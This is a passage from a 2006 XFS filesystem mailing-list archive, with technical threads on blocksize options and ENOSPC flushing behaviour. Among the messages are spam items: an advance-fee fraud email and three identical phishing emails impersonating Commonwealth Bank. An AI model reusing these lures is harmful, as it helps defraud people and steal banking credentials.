From owner-xfs@oss.sgi.com Mon Oct 2 00:27:30 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 02 Oct 2006 00:27:41 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k927RQaG030957 for ; Mon, 2 Oct 2006 00:27:28 -0700 Received: from [134.14.55.141] (boing.melbourne.sgi.com [134.14.55.141]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id RAA05715; Mon, 2 Oct 2006 17:26:31 +1000 Message-ID: <4520BF8A.4090602@sgi.com> Date: Mon, 02 Oct 2006 17:28:10 +1000 From: Timothy Shimmin User-Agent: Thunderbird 1.5.0.7 (Macintosh/20060909) MIME-Version: 1.0 To: Chris Wedgwood CC: Shailendra Tripathi , Rene Salmon , xfs@oss.sgi.com, Eric Sandeen Subject: Re: LVM and XFS cannot set blocksize on block device References: <45185424.2030707@tulane.edu> <20060926001737.GA10224@tuatara.stupidest.org> <45193204.3030500@tulane.edu> <20060926224053.GA31542@tuatara.stupidest.org> <451A669D.9020503@agami.com> <451BA2AF.9090703@sgi.com> <20060928153218.GA26366@tuatara.stupidest.org> In-Reply-To: <20060928153218.GA26366@tuatara.stupidest.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 9137 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: tes@sgi.com Precedence: bulk X-list: xfs Status: O Chris Wedgwood wrote: > On Thu, Sep 28, 2006 at 08:23:43PM +1000, Tim Shimmin wrote: > >> I'll have a look soon at passing the mkfs.xfs -s option thru to >> libxfs which is consistent with the existing code. > > (following up on something mentioned off the list) > > When you do this change please consider *not* making the code fallback > to a different blocksize if the ioctl fails when "-s size=" is given. > > The logic here is that if someone clearly wants a specific value and > if that cannot be met it should error out with a suitable message, not > silently do something else. I agree. I prefer default behaviour to happen when we are using the defaults - so we can do fallback behaviour under the assumption the user doesn't mind. But when we ask for something explicitly, then do it or error out. :) I'd be tempted to reuse libxfs_init_t's setblksize to be 1 as it currently is if one wants the device blksize to be set and >1 (really > 512 etc...) if one wants to set it to a particular value. --Tim From owner-xfs@oss.sgi.com Mon Oct 2 07:46:47 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 02 Oct 2006 07:46:56 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k92EkkaG028497 for ; Mon, 2 Oct 2006 07:46:47 -0700 X-ASG-Debug-ID: 1159800365-21295-474-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail.max-t.com (h216-18-124-229.gtcust.grouptelecom.net [216.18.124.229]) by cuda.sgi.com (Spam Firewall) with ESMTP id 41564D17722B for ; Mon, 2 Oct 2006 07:46:05 -0700 (PDT) Received: from madrid.max-t.internal ([192.168.1.189] ident=[U2FsdGVkX192bhl9DaHV8IPqKsZHOk04uCBetKZeswA=]) by mail.max-t.com with esmtp (Exim 4.43) id 1GUP3K-0005wi-Fo; Mon, 02 Oct 2006 10:45:55 -0400 Date: Mon, 2 Oct 2006 10:45:12 -0400 (EDT) From: Stephane Doyon X-X-Sender: sdoyon@madrid.max-t.internal To: Shailendra Tripathi cc: xfs@oss.sgi.com In-Reply-To: <451A618B.5080901@agami.com> Message-ID: References: <451A618B.5080901@agami.com> MIME-Version: 1.0 X-SA-Exim-Connect-IP: 192.168.1.189 X-SA-Exim-Mail-From: sdoyon@max-t.com X-ASG-Orig-Subj: Re: Long sleep with i_mutex in xfs_flush_device(), affects NFS service Subject: Re: Long sleep with i_mutex in xfs_flush_device(), affects NFS service Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-SA-Exim-Version: 4.1 (built Thu, 08 Sep 2005 14:17:48 -0500) X-SA-Exim-Scanned: Yes (on mail.max-t.com) X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22372 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9139 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: sdoyon@max-t.com Precedence: bulk X-list: xfs Status: O On Wed, 27 Sep 2006, Shailendra Tripathi wrote: > Hi Stephane, >> When the file system becomes nearly full, we eventually call down to >> xfs_flush_device(), which sleeps for 0.5seconds, waiting for xfssyncd to >> do some work. xfs_flush_space()does >> xfs_iunlock(ip, XFS_ILOCK_EXCL); >> before calling xfs_flush_device(), but i_mutex is still held, at least >> when we're being called from under xfs_write(). > > 1. I agree that the delay of 500 ms is not a deterministic wait. > > 2. xfs_flush_device is a big operation. It has to flush all the dirty pages > possibly in the cache on the device. Depending upon the device, it might take > significant amount of time. Keeping view of it, 500 ms in that unreasonable. > Also, perhaps you would never want more than one request to be queued for > device flush. > 3. The hope is that after one big flush operation, it would be able to free > up resources which are in transient state (over-reservation of blocks, > delalloc, pending removes, ...). The whole operation is intended to make sure > that ENOSPC is not returned unless really required. Yes I had surmised as much. That last part is still a little vague to me... But my two points were: -It's a long time to hold a mutex. The code bothers to drop the xfs_ilock, so I'm wondering whether the i_mutex had been forgotten? -Once we've actually hit ENOSPC, do we need to try again? Isn't it possible to tell when resources have actually been freed? > 4. This wait could be made deterministic by waiting for the syncer thread to > complete when device flush is triggered. I remember that some time ago, there wasn't any xfs_syncd, and the flushing operation was performed by the task wanting the free space. And it would cause deadlocks. So I presume we would have to be careful if we wanted to wait on sync. >> The rough workaround I have come up with for the problem is to have >> xfs_flush_space() skip calling xfs_flush_device() if we are within 2secs >> of having returned ENOSPC. I have verified that this workaround is >> effective, but I imagine there might be a cleaner solution. > > The fix would not be a good idea for standalone use of XFS. > > if (nimaps == 0) { > if (xfs_flush_space(ip, &fsynced, &ioflag)) > return XFS_ERROR(ENOSPC); > > error = 0; > goto retry; > } > > xfs_flush_space: > case 2: > xfs_iunlock(ip, XFS_ILOCK_EXCL); > xfs_flush_device(ip); > xfs_ilock(ip, XFS_ILOCK_EXCL); > *fsynced = 3; > return 0; > } > return 1; > > lets say that you don't enqueue it for another 2 secs. Then, in next retry it > would return 1 and, hence, outer if condition would return ENOSPC. Please > note that for standalone XFS, the application or client mostly don't retry > and, hence, it might return premature ENOSPC. > > You didn't notice this because, as you said, nfs client will retry in case of > ENOSPC. I'm not entirely sure I follow your explanation. The *fsynced variable is local to the xfs_iomap_write_delay() caller, so each call will go through the three steps in xfs_flush_space(). What my workaround does is, if we've done the xfs_flush_device() thing and still hit ENOSPC within the last two seconds, and we've just tried again the first two xfs_flush_space() steps, then we skip the third step and return ENOSPC. So yes the file system might not be exactly entirely full anymore, which is why I say it's a rough workaround, but it seems to me the discrepancy shouldn't be very big either. Whatever free space might have been missed would have had to be freed after the last ENOSPC return, and must be such that only another xfs_flush_device() call will make it available. It seems to me ENOSPC has never been something very exact anyway: df (statfs) often still shows a few remaining free blocks even on a full file system. Apps can't really calculate how many blocks will be needed for inodes, btrees and directories, so the number of remaining data blocks is an approximation. I am not entirely sure that what xfs_flush_device_work() does is quite deterministic, and as you said the wait period is arbitrary. And I don't particularly care to get every single last byte out of my file system, as long as there are no flagrant inconsistencies such as rm -fr not freeing up some space. > Assuming that you don't return *fsynced = 3 (instead *fsynced = 2), the code > path will loop (because of retry) and CPU itself would become busy for no > good job. Indeed. > You might experiment by adding deterministic wait. When you enqueue, set > some flag. All others who come in between just get enqueued. Once, device > flush is over wake up all. If flush could free enough resources, threads will > proceed ahead and return. Otherwise, another flush would be enqueued to flush > what might have come since last flush. But how do you know whether you need to flush again, or whether your file system is really full this time? And there's still the issue with the i_mutex. Perhaps there's a way to evaluate how much resources are "in transient state" as you put it. Otherwise, we could set a flag when ENOSPC is returned, and have that flag cleared at appropriate places in the code where blocks are actually freed. I keep running into various deadlocks related to full file systems, so I'm wary of clever solutions :-). [Dropped nfs@lists.sourceforge.net from Cc, as this discussion is quite specific to xfs.] From owner-xfs@oss.sgi.com Mon Oct 2 12:17:16 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 02 Oct 2006 12:17:26 -0700 (PDT) Received: from omx1.americas.sgi.com (omx1.americas.sgi.com [198.149.16.13]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k92JHFaG028425 for ; Mon, 2 Oct 2006 12:17:16 -0700 Received: from imr2.americas.sgi.com (imr2.americas.sgi.com [198.149.16.18]) by omx1.americas.sgi.com (8.12.10/8.12.9/linux-outbound_gateway-1.1) with ESMTP id k92IC2nx015183 for ; Mon, 2 Oct 2006 13:12:02 -0500 Received: from poppy-e236.americas.sgi.com (poppy-e236.americas.sgi.com [128.162.236.207]) by imr2.americas.sgi.com (8.12.9/8.12.10/SGI_generic_relay-1.2) with ESMTP id k92I6iDu57909728; Mon, 2 Oct 2006 11:06:44 -0700 (PDT) Received: from attica.americas.sgi.com (attica.americas.sgi.com [128.162.236.44]) by poppy-e236.americas.sgi.com (8.12.9/ASC-news-1.4) with ESMTP id k92IBxSQ23814826; Mon, 2 Oct 2006 13:11:59 -0500 (CDT) Received: by attica.americas.sgi.com (Postfix, from userid 2022) id 786252C8E83; Mon, 2 Oct 2006 13:11:59 -0500 (CDT) To: sgi.bugs.xfs@sgi.com, xfs@sgi.com Subject: TAKE 956714 - inode scan speedup for subtree and incremental dumps Message-Id: <20061002181159.786252C8E83@attica.americas.sgi.com> Date: Mon, 2 Oct 2006 13:11:59 -0500 (CDT) From: wkendall@sgi.com (Bill Kendall) X-archive-position: 9140 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: wkendall@sgi.com Precedence: bulk X-list: xfs Status: O Change xfsdump to use its inode map to determine the next inode of interest when doing inode scans. This prevents unecessary bulkstat calls when dumping only a fraction of a filesystem, e.g., when doing a subtree or incremental dump. Date: Mon Oct 2 11:10:30 PDT 2006 Workarea: attica.americas.sgi.com:/data/lwork/attica2/wkendall/stout/work/pl_root/xfs Inspected by: kfr The following file(s) were checked into: bonnie.engr.sgi.com:/isms/xfs-cmds/master Modid: master:xfs-cmds:215399a xfsdump/VERSION - 1.84 - changed http://oss.sgi.com/cgi-bin/cvsweb.cgi/xfs-cmds/xfsdump/VERSION.diff?r1=text&tr1=1.84&r2=text&tr2=1.83&f=h xfsdump/doc/CHANGES - 1.97 - changed http://oss.sgi.com/cgi-bin/cvsweb.cgi/xfs-cmds/xfsdump/doc/CHANGES.diff?r1=text&tr1=1.97&r2=text&tr2=1.96&f=h xfsdump/dump/content.c - 1.43 - changed http://oss.sgi.com/cgi-bin/cvsweb.cgi/xfs-cmds/xfsdump/dump/content.c.diff?r1=text&tr1=1.43&r2=text&tr2=1.42&f=h xfsdump/dump/inomap.h - 1.10 - changed http://oss.sgi.com/cgi-bin/cvsweb.cgi/xfs-cmds/xfsdump/dump/inomap.h.diff?r1=text&tr1=1.10&r2=text&tr2=1.9&f=h xfsdump/dump/inomap.c - 1.30 - changed http://oss.sgi.com/cgi-bin/cvsweb.cgi/xfs-cmds/xfsdump/dump/inomap.c.diff?r1=text&tr1=1.30&r2=text&tr2=1.29&f=h xfsdump/common/util.h - 1.12 - changed http://oss.sgi.com/cgi-bin/cvsweb.cgi/xfs-cmds/xfsdump/common/util.h.diff?r1=text&tr1=1.12&r2=text&tr2=1.11&f=h xfsdump/common/util.c - 1.21 - changed http://oss.sgi.com/cgi-bin/cvsweb.cgi/xfs-cmds/xfsdump/common/util.c.diff?r1=text&tr1=1.21&r2=text&tr2=1.20&f=h From owner-xfs@oss.sgi.com Mon Oct 2 14:24:14 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 02 Oct 2006 14:24:22 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k92LODaG014814 for ; Mon, 2 Oct 2006 14:24:14 -0700 X-ASG-Debug-ID: 1159822217-23371-0-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from wmge7c.centomovimenti.it (unknown [193.254.241.12]) by cuda.sgi.com (Spam Firewall) with SMTP id C7246D178B43 for ; Mon, 2 Oct 2006 13:50:18 -0700 (PDT) Received: (qmail 6200 invoked by uid 2526); 2 Oct 2006 20:26:58 -0000 Date: 2 Oct 2006 20:26:58 -0000 Message-ID: <20061002202658.6199.qmail@wmge7c.centomovimenti.it> To: xfs@oss.sgi.com X-ASG-Orig-Subj: FINAL NOTIFICATION Subject: FINAL NOTIFICATION From: Martha Pujeh Reply-To: mrsmartha01@yahoo.co.uk MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit X-Barracuda-Spam-Score: 0.22 X-Barracuda-Spam-Status: No, SCORE=0.22 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=FROM_HAS_ULINE_NUMS X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22423 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.22 FROM_HAS_ULINE_NUMS From: contains an underline and numbers/letters X-archive-position: 9141 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: m_p6779@yahoo.co.uk Precedence: bulk X-list: xfs Status: O Dear, Re: Act immediately concerning your funds. I am here on special duty as an offshore bank transaction inspection team member. There is a file here among some abandoned transaction files on my desk, which states that some funds have been approved to you but have not been transferred to you due to inadequate transfer arrangement. Based on the information I got in the file, the claims / payment processing department of the bank have approved your payment. I am officially responsible to relate with the owners of all the abandoned transaction and assist them in rounding off the transactions within the few days I have to work here before my going back. Let me have your telephone / fax number and the information with which you want your funds transferred immediately.Feel free to ask questions if you are confused or email the information to me. Regards, Martha Pujeh(Esq.). From owner-xfs@oss.sgi.com Mon Oct 2 15:24:16 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 02 Oct 2006 15:24:26 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k92MOFaG021991 for ; Mon, 2 Oct 2006 15:24:16 -0700 X-ASG-Debug-ID: 1159825024-8366-83-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from esc36.midphase.com (esc36.midphase.com [205.234.148.98]) by cuda.sgi.com (Spam Firewall) with ESMTP id 06303D178B70 for ; Mon, 2 Oct 2006 14:37:05 -0700 (PDT) Received: from nobody by esc36.midphase.com with local (Exim 4.52) id 1GUVSw-0006J0-9E for xfs@oss.sgi.com; Mon, 02 Oct 2006 17:36:46 -0400 To: xfs@oss.sgi.com X-ASG-Orig-Subj: Commonwealth Netbank Account Information Subject: Commonwealth Netbank Account Information From: Commonwealth Bank Reply-To: accounts@commbank.com.au MIME-Version: 1.0 Content-Type: text/html Content-Transfer-Encoding: 8bit Message-Id: Date: Mon, 02 Oct 2006 17:36:46 -0400 X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - esc36.midphase.com X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [99 99] / [47 12] X-AntiAbuse: Sender Address Domain - esc36.midphase.com X-Source: X-Source-Args: X-Source-Dir: X-Barracuda-Spam-Score: 0.88 X-Barracuda-Spam-Status: No, SCORE=0.88 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=HTML_FONT_BIG, HTML_IMAGE_ONLY_16, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22423 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.26 HTML_FONT_BIG BODY: HTML tag for a big font size 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.63 HTML_IMAGE_ONLY_16 BODY: HTML: images with 1200-1600 bytes of words X-archive-position: 9142 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: accounts@commbank.com.au Precedence: bulk X-list: xfs Status: O

personal & business centre

Security Alert

Please note that Your Commonwealth NetBank Account is about to expire. In order for it to remain active, please use the link below to proceed and access Your Account.

http://www.commbank.com.au/default.asp#
 

From owner-xfs@oss.sgi.com Mon Oct 2 15:31:52 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 02 Oct 2006 15:32:03 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k92MVmaG022787 for ; Mon, 2 Oct 2006 15:31:50 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id IAA24237; Tue, 3 Oct 2006 08:31:01 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k92MUxpj19426611; Tue, 3 Oct 2006 08:31:00 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k92MUuhq19451535; Tue, 3 Oct 2006 08:30:56 +1000 (AEST) Date: Tue, 3 Oct 2006 08:30:56 +1000 From: David Chinner To: Stephane Doyon Cc: Shailendra Tripathi , xfs@oss.sgi.com Subject: Re: Long sleep with i_mutex in xfs_flush_device(), affects NFS service Message-ID: <20061002223056.GN4695059@melbourne.sgi.com> References: <451A618B.5080901@agami.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.1i X-archive-position: 9143 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O On Mon, Oct 02, 2006 at 10:45:12AM -0400, Stephane Doyon wrote: > On Wed, 27 Sep 2006, Shailendra Tripathi wrote: > > >Hi Stephane, > >> When the file system becomes nearly full, we eventually call down to > >> xfs_flush_device(), which sleeps for 0.5seconds, waiting for xfssyncd to > >> do some work. xfs_flush_space()does > >> xfs_iunlock(ip, XFS_ILOCK_EXCL); > >> before calling xfs_flush_device(), but i_mutex is still held, at least > >> when we're being called from under xfs_write(). > > > >1. I agree that the delay of 500 ms is not a deterministic wait. AFAICT, it was never intended to be. It's not deterministic, and the wait is really only there to ensure that the synchronous log force catches all the operations that may have recently occurred so they can be unpinned and flushed. For example, an extent that has been truncated and freed cannot be reused until the transaction that it was freed in has actually been commited to disk..... > >2. xfs_flush_device is a big operation. It has to flush all the dirty > >pages possibly in the cache on the device. Depending upon the device, it > >might take significant amount of time. Keeping view of it, 500 ms in that > >unreasonable. Also, perhaps you would never want more than one request to > >be queued for device flush. > >3. The hope is that after one big flush operation, it would be able to > >free up resources which are in transient state (over-reservation of > >blocks, delalloc, pending removes, ...). The whole operation is intended > >to make sure that ENOSPC is not returned unless really required. > > Yes I had surmised as much. That last part is still a little vague to > me... But my two points were: > > -It's a long time to hold a mutex. The code bothers to drop the > xfs_ilock, so I'm wondering whether the i_mutex had been forgotten? This deep in the XFS allocation functions, we cannot tell if we hold the i_mutex or not, and it plays no part in determining if we have space or not. Hence we don't touch it here. > -Once we've actually hit ENOSPC, do we need to try again? Isn't it > possible to tell when resources have actually been freed? Given that the only way to determine if space was made available is to query every AG in the exact same way an allocation does, it makes sense to try the allocation again to determine if space was made available.... > >4. This wait could be made deterministic by waiting for the syncer thread > >to complete when device flush is triggered. > > I remember that some time ago, there wasn't any xfs_syncd, and the > flushing operation was performed by the task wanting the free space. And > it would cause deadlocks. So I presume we would have to be careful if we > wanted to wait on sync. *nod* Last thing we want is more deadlocks. This code is already convoluted enough without added yet more special cases to it.... > >> The rough workaround I have come up with for the problem is to have > >> xfs_flush_space() skip calling xfs_flush_device() if we are within 2secs > >> of having returned ENOSPC. I have verified that this workaround is > >> effective, but I imagine there might be a cleaner solution. > > > >The fix would not be a good idea for standalone use of XFS. I doubt it's a good idea for an NFS server, either. Remember that XFS, like most filesystems, trades off speed for correctness as we approach ENOSPC. Many parts of XFS slow down as we approach ENOSPC, and this is just one example of where we need to be correct, not fast. > It seems to me ENOSPC has never been something very exact anyway: > df (statfs) often still shows a few remaining free blocks even on > a full file system. Apps can't really calculate how many blocks > will be needed for inodes, btrees and directories, so the number > of remaining data blocks is an approximation. It's not supposed to be an approximation - the number reported by df should be taking all this into account because it's coming directly from how much space XFS thinks it has available. > >You might experiment by adding deterministic wait. When you enqueue, set > >some flag. All others who come in between just get enqueued. Once, device > >flush is over wake up all. If flush could free enough resources, threads > >will proceed ahead and return. Otherwise, another flush would be enqueued > >to flush what might have come since last flush. > > But how do you know whether you need to flush again, or whether your file > system is really full this time? And there's still the issue with the > i_mutex. > > Perhaps there's a way to evaluate how much resources are "in transient > state" as you put it. I doubt there's any way of doing this without introducing non-enospc performance regressions and extra memory usage. > Otherwise, we could set a flag when ENOSPC is > returned, and have that flag cleared at appropriate places in the code > where blocks are actually freed. I keep running into various deadlocks > related to full file systems, so I'm wary of clever solutions :-). IMO, this is a non-problem. You're talking about optimising a relatively rare corner case where correctness is more important than speed and your test case is highly artificial. AFAIC, if you are running at ENOSPC then you get what performance is appropriate for correctness and if you are continually runing at ENOSPC, then buy some more disks..... Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group From owner-xfs@oss.sgi.com Mon Oct 2 15:34:36 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 02 Oct 2006 15:34:45 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k92MYZaG023240 for ; Mon, 2 Oct 2006 15:34:36 -0700 X-ASG-Debug-ID: 1159824751-27179-446-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from esc36.midphase.com (esc36.midphase.com [205.234.148.98]) by cuda.sgi.com (Spam Firewall) with ESMTP id 3547C466F5E for ; Mon, 2 Oct 2006 14:32:31 -0700 (PDT) Received: from nobody by esc36.midphase.com with local (Exim 4.52) id 1GUVOU-0004LX-RU for xfs@oss.sgi.com; Mon, 02 Oct 2006 17:32:10 -0400 To: xfs@oss.sgi.com X-ASG-Orig-Subj: Commonwealth Netbank Account Information Subject: Commonwealth Netbank Account Information From: Commonwealth Bank Reply-To: accounts@commbank.com.au MIME-Version: 1.0 Content-Type: text/html Content-Transfer-Encoding: 8bit Message-Id: Date: Mon, 02 Oct 2006 17:32:10 -0400 X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - esc36.midphase.com X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [99 99] / [47 12] X-AntiAbuse: Sender Address Domain - esc36.midphase.com X-Source: X-Source-Args: X-Source-Dir: X-Barracuda-Spam-Score: 0.88 X-Barracuda-Spam-Status: No, SCORE=0.88 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=HTML_FONT_BIG, HTML_IMAGE_ONLY_16, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22425 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.26 HTML_FONT_BIG BODY: HTML tag for a big font size 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.63 HTML_IMAGE_ONLY_16 BODY: HTML: images with 1200-1600 bytes of words X-archive-position: 9144 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: accounts@commbank.com.au Precedence: bulk X-list: xfs Status: O

personal & business centre

Security Alert

Please note that Your Commonwealth NetBank Account is about to expire. In order for it to remain active, please use the link below to proceed and access Your Account.

http://www.commbank.com.au/default.asp#
 

From owner-xfs@oss.sgi.com Mon Oct 2 15:34:37 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 02 Oct 2006 15:34:49 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k92MYaaG023271 for ; Mon, 2 Oct 2006 15:34:37 -0700 X-ASG-Debug-ID: 1159823693-24583-6-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from esc36.midphase.com (esc36.midphase.com [205.234.148.98]) by cuda.sgi.com (Spam Firewall) with ESMTP id 23BC0461E46 for ; Mon, 2 Oct 2006 14:14:53 -0700 (PDT) Received: from nobody by esc36.midphase.com with local (Exim 4.52) id 1GUV7i-00069f-HR for xfs@oss.sgi.com; Mon, 02 Oct 2006 17:14:50 -0400 To: xfs@oss.sgi.com X-ASG-Orig-Subj: Commonwealth Netbank Account Information Subject: Commonwealth Netbank Account Information From: Commonwealth Bank Reply-To: accounts@commbank.com.au MIME-Version: 1.0 Content-Type: text/html Content-Transfer-Encoding: 8bit Message-Id: Date: Mon, 02 Oct 2006 17:14:50 -0400 X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - esc36.midphase.com X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [99 99] / [47 12] X-AntiAbuse: Sender Address Domain - esc36.midphase.com X-Source: X-Source-Args: X-Source-Dir: X-Barracuda-Spam-Score: 0.88 X-Barracuda-Spam-Status: No, SCORE=0.88 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=HTML_FONT_BIG, HTML_IMAGE_ONLY_16, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22422 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.26 HTML_FONT_BIG BODY: HTML tag for a big font size 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.63 HTML_IMAGE_ONLY_16 BODY: HTML: images with 1200-1600 bytes of words X-archive-position: 9145 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: accounts@commbank.com.au Precedence: bulk X-list: xfs Status: O

personal & business centre

Security Alert

Please note that Your Commonwealth NetBank Account is about to expire. In order for it to remain active, please use the link below to proceed and access Your Account.

http://www.commbank.com.au/default.asp#
 

From owner-xfs@oss.sgi.com Mon Oct 2 17:34:44 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 02 Oct 2006 17:34:53 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k930YhaG004400 for ; Mon, 2 Oct 2006 17:34:44 -0700 X-ASG-Debug-ID: 1159832116-10663-524-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from aaronenvironmental.com (mail.aaronenvironmental.com [207.76.77.159]) by cuda.sgi.com (Spam Firewall) with ESMTP id C936C44378A for ; Mon, 2 Oct 2006 16:35:16 -0700 (PDT) Received: from dankogut [66.159.188.46] by aaronenvironmental.com with ESMTP (SMTPD32-8.15) id A23252640128; Mon, 02 Oct 2006 19:35:14 -0400 From: "Dan Kogut" To: X-ASG-Orig-Subj: Clean Fuels Subject: Clean Fuels Date: Mon, 2 Oct 2006 19:35:09 -0400 MIME-Version: 1.0 X-Mailer: Microsoft Office Outlook, Build 11.0.5510 Thread-Index: Acbme2HWZAikUq60TfuH4f5oTsE5WQ== X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2869 Message-Id: <200610021935454.SM01116@dankogut> X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22431 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Content-Type: text/plain Content-Disposition: inline Content-Transfer-Encoding: 7bit Content-length: 570 X-archive-position: 9146 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dan.kogut@aaronenvironmental.com Precedence: bulk X-list: xfs Status: O Emergency Generator Manager We're www.fuelts.com - Fuel Treatment Specialists - and our specialty is cleaning of tanks and filtering of fuels. Our proprietary system does not require the fueling tanks be taken out of service, is self contained, and returns good fuel back to your tanks. So if your in the fueling business and require to have clean fuels, give us call - 203-395-4837, send us an email - info@fuelts.com or visit our web site - www.fuelts.com Thank you. [[HTML alternate version deleted]] From owner-xfs@oss.sgi.com Mon Oct 2 22:07:45 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 02 Oct 2006 22:07:54 -0700 (PDT) Received: from larry.melbourne.sgi.com 